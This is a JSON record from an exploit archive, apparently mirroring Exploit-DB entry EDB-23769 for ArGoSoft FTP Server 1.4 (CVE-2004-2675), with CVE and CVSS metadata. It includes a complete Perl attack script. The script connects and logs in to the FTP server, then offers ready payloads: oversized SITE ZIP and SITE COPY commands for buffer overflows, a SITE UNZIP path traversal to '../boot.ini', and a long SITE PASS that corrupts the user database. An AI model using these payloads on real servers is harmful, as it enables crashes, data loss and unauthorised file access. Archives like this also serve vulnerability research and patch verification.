{"exploit":{"id":"EDB-23769","name":"ArGoSoft FTP Server 1.0/1.2/1.4 - Buffer Overflow / Directory Traversal / Denial of Service (DoS)","description":"ArGoSoft FTP Server 1.0/1.2/1.4 - Buffer Overflow / Directory Traversal / Denial of Service (DoS)","cves":["CVE-2004-2675"],"author":"Beyond Security","published":"2004-02-27","platform":"windows","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23769","path":"exploits/windows/dos/23769.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23769.pl","vulnerabilities":[{"id":"CVE-2004-2675","state":"PUBLISHED","title":null,"titleSource":null,"description":"ArGoSoft FTP Server before 1.4.1.6 allows remote authenticated users to cause a denial of service (crash) via a SITE PASS command with a long password parameter, which causes the database to be corrupted.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-2675","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-2675"},"updatedAt":"2024-08-08T01:36:25.007Z","retrievedAt":"2026-11-26T21:09:10.644Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23769.png?v=2","url":"https://exploitbin.com/exploits/EDB-23769","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23769/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23769/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/9770/info\n\n# ArGoSoft has released version 1.4.1.6 of their FTP Server to address multiple unspecified security vulnerabilities. These issues include three buffer overruns when handling overly long FTP SITE ZIP and SITE COPY commands, a file enumeration issue involving the SITE UNZIP command and user database corruption denial of service attacks via the SITE PASS command.\n\n# Multiple Vulnerabilities in ArGoSoft FTP Server version 1.4 (1.4.1.4)\n# Created by Beyond Security Ltd. - All rights reserved.\n\nuse IO::Socket;\n\n$host = \"192.168.1.243\";\n\n$remote = IO::Socket::INET->new ( Proto => \"tcp\",\n     PeerAddr => $host,\n     PeerPort => \"2119\",,\n    );\n\nunless ($remote) { die \"cannot connect to ftp daemon on $host\" }\n\nprint \"connected\\n\";\nwhile (<$remote>)\n{\n print $_;\n if (/220 /)\n {\n  last;\n }\n}\n\n\n$remote->autoflush(1);\n\nmy $ftp = \"USER username\\r\\n\";\n\nprint $remote $ftp;\nprint $ftp;\nsleep(1);\n\nwhile (<$remote>)\n{\n print $_;\n if (/331 /)\n {\n  last;\n }\n}\n\n$ftp = join(\"\", \"PASS \", \"password\", \"\\r\\n\");\nprint $remote $ftp;\nprint $ftp;\nsleep(1);\n\nwhile (<$remote>)\n{\n print $_;\n if (/230 /)\n {\n  last;\n }\n}\n\n#$ftp = join (\"\", \"SITE ZIP \", \"A\"x512, \"\\r\\n\");\n#$ftp = join (\"\", \"SITE ZIP storm.zip /f:\", \"A\"x2048, \"\\r\\n\");\n#$ftp = join (\"\", \"SITE COPY \", \"A\"x2048, \" \", \"A\"x10, \"\\r\\n\");\n#$ftp = join (\"\", \"SITE UNZIP \", \"../boot.ini\\r\\n\"); # Directory Traversal (we know a certain file exists)\n#$ftp = join (\"\", \"SITE PASS \", \"storm \", \"A\"x3500, \"\\r\\n\"); # DoS ... against the user database\n\n#Choose one of the above to test the vulnerabilities mentioned\n\nprint $remote $ftp;\nprint $ftp;\nsleep(1);\n\nwhile (<$remote>)\n{\n print $_;\n if (/250 Done/)\n {\n  last;\n }\n}\n\nclose $remote;","sha256":"6a8e8bcde0fb95a82afed9432bc59ecdb3451888977d13beaf87a5bbc1a50345","bytes":1776,"fetchedAt":"2026-11-26T21:09:08.416Z","encoding":"utf-8 (display only; download retains original bytes)"}